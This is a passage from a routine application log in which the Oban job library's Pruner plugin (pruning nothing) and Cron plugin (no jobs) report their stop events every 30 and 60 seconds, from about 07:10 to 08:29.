{"source":"oban","duration":1121,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:10:51.020 [info] {"source":"oban","duration":1275,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:11:00.095 [info] {"source":"oban","duration":426,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 07:11:21.022 [info] {"source":"oban","duration":1176,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:11:51.024 [info] {"source":"oban","duration":992,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:12:00.096 [info] {"source":"oban","duration":347,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 07:12:21.026 [info] {"source":"oban","duration":1391,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:12:51.028 [info] {"source":"oban","duration":1471,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:13:00.097 [info] {"source":"oban","duration":414,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 07:13:21.030 [info] {"source":"oban","duration":1372,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:13:51.032 [info] {"source":"oban","duration":1429,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:14:00.098 [info] {"source":"oban","duration":368,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 07:14:21.034 [info] {"source":"oban","duration":1409,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:14:51.036 [info] {"source":"oban","duration":1447,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:15:00.099 [info] {"source":"oban","duration":369,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 07:15:21.038 [info] {"source":"oban","duration":1412,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:15:51.040 [info] {"source":"oban","duration":1499,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:16:00.100 [info] {"source":"oban","duration":376,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 07:16:21.042 [info] {"source":"oban","duration":1513,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:16:51.044 [info] {"source":"oban","duration":1504,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:17:00.101 [info] {"source":"oban","duration":347,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 07:17:21.046 [info] {"source":"oban","duration":1494,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:17:51.048 [info] {"source":"oban","duration":1287,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:18:00.102 [info] {"source":"oban","duration":366,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 07:18:21.050 [info] {"source":"oban","duration":1158,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:18:51.052 [info] {"source":"oban","duration":1017,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:19:00.103 [info] {"source":"oban","duration":287,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 07:19:21.054 [info] {"source":"oban","duration":1038,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:19:51.056 [info] {"source":"oban","duration":1002,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:20:00.104 [info] {"source":"oban","duration":374,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 07:20:21.058 [info] {"source":"oban","duration":1115,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:20:51.060 [info] {"source":"oban","duration":964,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:21:00.105 [info] {"source":"oban","duration":388,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 07:21:21.062 [info] {"source":"oban","duration":1549,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:21:51.064 [info] {"source":"oban","duration":1511,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:22:00.106 [info] {"source":"oban","duration":345,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 07:22:21.066 [info] {"source":"oban","duration":1519,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:22:51.068 [info] {"source":"oban","duration":1091,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:23:00.107 [info] {"source":"oban","duration":349,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 07:23:21.070 [info] {"source":"oban","duration":1437,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:23:51.072 [info] {"source":"oban","duration":1548,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:24:00.108 [info] {"source":"oban","duration":313,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 07:24:21.074 [info] {"source":"oban","duration":1382,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:24:51.076 [info] {"source":"oban","duration":1482,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:25:00.109 [info] {"source":"oban","duration":454,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 07:25:21.078 [info] {"source":"oban","duration":1317,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:25:51.080 [info] {"source":"oban","duration":1349,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:26:00.110 [info] {"source":"oban","duration":339,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 07:26:21.082 [info] {"source":"oban","duration":1337,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:26:51.084 [info] {"source":"oban","duration":1344,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:27:00.111 [info] {"source":"oban","duration":332,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 07:27:21.086 [info] {"source":"oban","duration":1529,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:27:51.088 [info] {"source":"oban","duration":1268,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:28:00.112 [info] {"source":"oban","duration":373,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 07:28:21.090 [info] {"source":"oban","duration":1347,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:28:51.092 [info] {"source":"oban","duration":1230,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:29:00.113 [info] {"source":"oban","duration":255,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 07:29:21.094 [info] {"source":"oban","duration":1186,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:29:51.096 [info] {"source":"oban","duration":1417,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:30:00.114 [info] {"source":"oban","duration":302,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 07:30:21.098 [info] {"source":"oban","duration":1532,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:30:51.100 [info] {"source":"oban","duration":1536,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:31:00.115 [info] {"source":"oban","duration":337,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 07:31:21.102 [info] {"source":"oban","duration":1330,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:31:51.104 [info] {"source":"oban","duration":1384,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:32:00.116 [info] {"source":"oban","duration":304,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 07:32:21.106 [info] {"source":"oban","duration":1374,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:32:51.108 [info] {"source":"oban","duration":1291,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:33:00.117 [info] {"source":"oban","duration":289,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 07:33:21.110 [info] {"source":"oban","duration":1222,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:33:51.112 [info] {"source":"oban","duration":1376,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:34:00.118 [info] {"source":"oban","duration":295,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 07:34:21.114 [info] {"source":"oban","duration":1226,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:34:51.116 [info] {"source":"oban","duration":1071,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:35:00.119 [info] {"source":"oban","duration":240,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 07:35:21.118 [info] {"source":"oban","duration":1071,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:35:51.120 [info] {"source":"oban","duration":1448,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:36:00.120 [info] {"source":"oban","duration":241,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 07:36:21.122 [info] {"source":"oban","duration":1450,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:36:51.124 [info] {"source":"oban","duration":1254,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:37:00.121 [info] {"source":"oban","duration":331,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 07:37:21.126 [info] {"source":"oban","duration":1540,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:37:51.128 [info] {"source":"oban","duration":1392,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:38:00.122 [info] {"source":"oban","duration":255,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 07:38:21.130 [info] {"source":"oban","duration":1067,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:38:51.132 [info] {"source":"oban","duration":1399,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:39:00.123 [info] {"source":"oban","duration":365,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 07:39:21.134 [info] {"source":"oban","duration":1302,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:39:51.136 [info] {"source":"oban","duration":1424,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:40:00.124 [info] {"source":"oban","duration":376,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 07:40:21.138 [info] {"source":"oban","duration":1521,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:40:51.140 [info] {"source":"oban","duration":1260,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:41:00.125 [info] {"source":"oban","duration":386,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 07:41:21.142 [info] {"source":"oban","duration":1388,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:41:51.144 [info] {"source":"oban","duration":1550,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:42:00.126 [info] {"source":"oban","duration":310,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 07:42:21.146 [info] {"source":"oban","duration":1496,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:42:51.148 [info] {"source":"oban","duration":1412,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:43:00.127 [info] {"source":"oban","duration":421,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 07:43:21.150 [info] {"source":"oban","duration":1301,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:43:51.152 [info] {"source":"oban","duration":1305,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:44:00.128 [info] {"source":"oban","duration":390,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 07:44:21.154 [info] {"source":"oban","duration":1268,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:44:51.156 [info] {"source":"oban","duration":1014,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:45:00.129 [info] {"source":"oban","duration":325,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 07:45:21.158 [info] {"source":"oban","duration":1208,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:45:51.160 [info] {"source":"oban","duration":1179,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:46:00.130 [info] {"source":"oban","duration":302,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 07:46:21.162 [info] {"source":"oban","duration":1137,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:46:51.164 [info] {"source":"oban","duration":1631,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:47:00.131 [info] {"source":"oban","duration":302,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 07:47:21.166 [info] {"source":"oban","duration":1405,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:47:51.168 [info] {"source":"oban","duration":1478,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:48:00.132 [info] {"source":"oban","duration":393,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 07:48:21.170 [info] {"source":"oban","duration":1564,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:48:51.172 [info] {"source":"oban","duration":1241,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:49:00.133 [info] {"source":"oban","duration":401,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 07:49:21.174 [info] {"source":"oban","duration":1259,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:49:51.176 [info] {"source":"oban","duration":1213,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:50:00.134 [info] {"source":"oban","duration":377,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 07:50:21.178 [info] {"source":"oban","duration":1184,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:50:51.180 [info] {"source":"oban","duration":1176,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:51:00.135 [info] {"source":"oban","duration":391,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 07:51:21.182 [info] {"source":"oban","duration":1108,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:51:51.184 [info] {"source":"oban","duration":1267,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:52:00.136 [info] {"source":"oban","duration":285,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 07:52:21.186 [info] {"source":"oban","duration":1066,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:52:51.188 [info] {"source":"oban","duration":1078,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:53:00.137 [info] {"source":"oban","duration":532,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 07:53:21.190 [info] {"source":"oban","duration":1217,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:53:51.192 [info] {"source":"oban","duration":1197,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:54:00.138 [info] {"source":"oban","duration":283,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 07:54:21.194 [info] {"source":"oban","duration":1015,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:54:51.196 [info] {"source":"oban","duration":1011,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:55:00.139 [info] {"source":"oban","duration":399,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 07:55:21.198 [info] {"source":"oban","duration":1584,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:55:51.200 [info] {"source":"oban","duration":1566,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:56:00.140 [info] {"source":"oban","duration":237,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 07:56:21.202 [info] {"source":"oban","duration":1250,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:56:51.204 [info] {"source":"oban","duration":1636,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:57:00.141 [info] {"source":"oban","duration":356,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 07:57:21.206 [info] {"source":"oban","duration":1257,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:57:51.208 [info] {"source":"oban","duration":1173,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:58:00.142 [info] {"source":"oban","duration":513,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 07:58:21.210 [info] {"source":"oban","duration":1210,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:58:51.212 [info] {"source":"oban","duration":1194,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:59:00.143 [info] {"source":"oban","duration":344,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 07:59:21.214 [info] {"source":"oban","duration":1023,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:59:51.216 [info] {"source":"oban","duration":1330,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:00:00.144 [info] {"source":"oban","duration":608,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 08:00:21.218 [info] {"source":"oban","duration":1215,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:00:51.220 [info] {"source":"oban","duration":1149,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:01:00.145 [info] {"source":"oban","duration":294,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 08:01:21.221 [info] {"source":"oban","duration":840,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:01:51.224 [info] {"source":"oban","duration":1109,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:02:00.146 [info] {"source":"oban","duration":305,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 08:02:21.226 [info] {"source":"oban","duration":1040,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:02:51.228 [info] {"source":"oban","duration":1154,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:03:00.147 [info] {"source":"oban","duration":220,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 08:03:21.230 [info] {"source":"oban","duration":1130,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:03:51.232 [info] {"source":"oban","duration":1619,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:04:00.148 [info] {"source":"oban","duration":389,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 08:04:21.235 [info] {"source":"oban","duration":1484,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:04:51.238 [info] {"source":"oban","duration":1493,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:05:00.149 [info] {"source":"oban","duration":374,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 08:05:21.240 [info] {"source":"oban","duration":1366,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:05:51.242 [info] {"source":"oban","duration":1488,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:06:00.150 [info] {"source":"oban","duration":368,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 08:06:21.244 [info] {"source":"oban","duration":1468,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:06:51.246 [info] {"source":"oban","duration":1510,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:07:00.151 [info] {"source":"oban","duration":379,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 08:07:21.248 [info] {"source":"oban","duration":1497,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:07:51.250 [info] {"source":"oban","duration":1128,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:08:00.152 [info] {"source":"oban","duration":395,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 08:08:21.252 [info] {"source":"oban","duration":1096,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:08:51.254 [info] {"source":"oban","duration":1154,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:09:00.153 [info] {"source":"oban","duration":315,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 08:09:21.256 [info] {"source":"oban","duration":1258,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:09:51.258 [info] {"source":"oban","duration":1015,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:10:00.154 [info] {"source":"oban","duration":464,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 08:10:21.260 [info] {"source":"oban","duration":1119,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:10:51.262 [info] {"source":"oban","duration":1112,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:11:00.155 [info] {"source":"oban","duration":294,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 08:11:21.264 [info] {"source":"oban","duration":1074,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:11:51.266 [info] {"source":"oban","duration":1082,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:12:00.156 [info] {"source":"oban","duration":298,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 08:12:21.268 [info] {"source":"oban","duration":1573,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:12:51.271 [info] {"source":"oban","duration":1478,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:13:00.157 [info] {"source":"oban","duration":387,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 08:13:21.273 [info] {"source":"oban","duration":1683,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:13:51.275 [info] {"source":"oban","duration":1692,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:14:00.158 [info] {"source":"oban","duration":382,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 08:14:21.277 [info] {"source":"oban","duration":1526,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:14:51.279 [info] {"source":"oban","duration":1493,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:15:00.159 [info] {"source":"oban","duration":311,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 08:15:21.281 [info] {"source":"oban","duration":1278,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:15:51.283 [info] {"source":"oban","duration":1288,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:16:00.160 [info] {"source":"oban","duration":281,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 08:16:21.285 [info] {"source":"oban","duration":1102,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:16:51.287 [info] {"source":"oban","duration":1159,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:17:00.161 [info] {"source":"oban","duration":299,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 08:17:21.289 [info] {"source":"oban","duration":1007,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:17:51.291 [info] {"source":"oban","duration":948,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:18:00.162 [info] {"source":"oban","duration":249,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 08:18:21.293 [info] {"source":"oban","duration":1185,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:18:51.295 [info] {"source":"oban","duration":1081,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:19:00.163 [info] {"source":"oban","duration":262,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 08:19:21.297 [info] {"source":"oban","duration":1157,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:19:51.299 [info] {"source":"oban","duration":1054,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:20:00.164 [info] {"source":"oban","duration":295,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 08:20:21.301 [info] {"source":"oban","duration":1132,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:20:51.303 [info] {"source":"oban","duration":1265,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:21:00.165 [info] {"source":"oban","duration":325,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 08:21:21.305 [info] {"source":"oban","duration":1444,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:21:51.307 [info] {"source":"oban","duration":1478,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:22:00.166 [info] {"source":"oban","duration":300,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 08:22:21.309 [info] {"source":"oban","duration":1317,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:22:51.311 [info] {"source":"oban","duration":1202,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:23:00.167 [info] {"source":"oban","duration":296,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 08:23:21.313 [info] {"source":"oban","duration":1337,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:23:51.315 [info] {"source":"oban","duration":1130,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:24:00.168 [info] {"source":"oban","duration":273,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 08:24:21.317 [info] {"source":"oban","duration":1110,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:24:51.319 [info] {"source":"oban","duration":1064,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:25:00.169 [info] {"source":"oban","duration":248,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 08:25:21.321 [info] {"source":"oban","duration":1431,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:25:51.323 [info] {"source":"oban","duration":1291,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:26:00.170 [info] {"source":"oban","duration":267,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 08:26:21.325 [info] {"source":"oban","duration":1397,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:26:51.327 [info] {"source":"oban","duration":1278,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:27:00.171 [info] {"source":"oban","duration":282,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 08:27:21.329 [info] {"source":"oban","duration":1215,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:27:51.331 [info] {"source":"oban","duration":950,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:28:00.172 [info] {"source":"oban","duration":545,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 08:28:21.333 [info] {"source":"oban","duration":1234,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:28:51.335 [info] {"source":"oban","duration":1109,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:29:00.174 [info] {"source":"oban","duration":407,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 08:29:21.337 [info] {"source":"oban","duration":1324,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:29:51.339 [info] 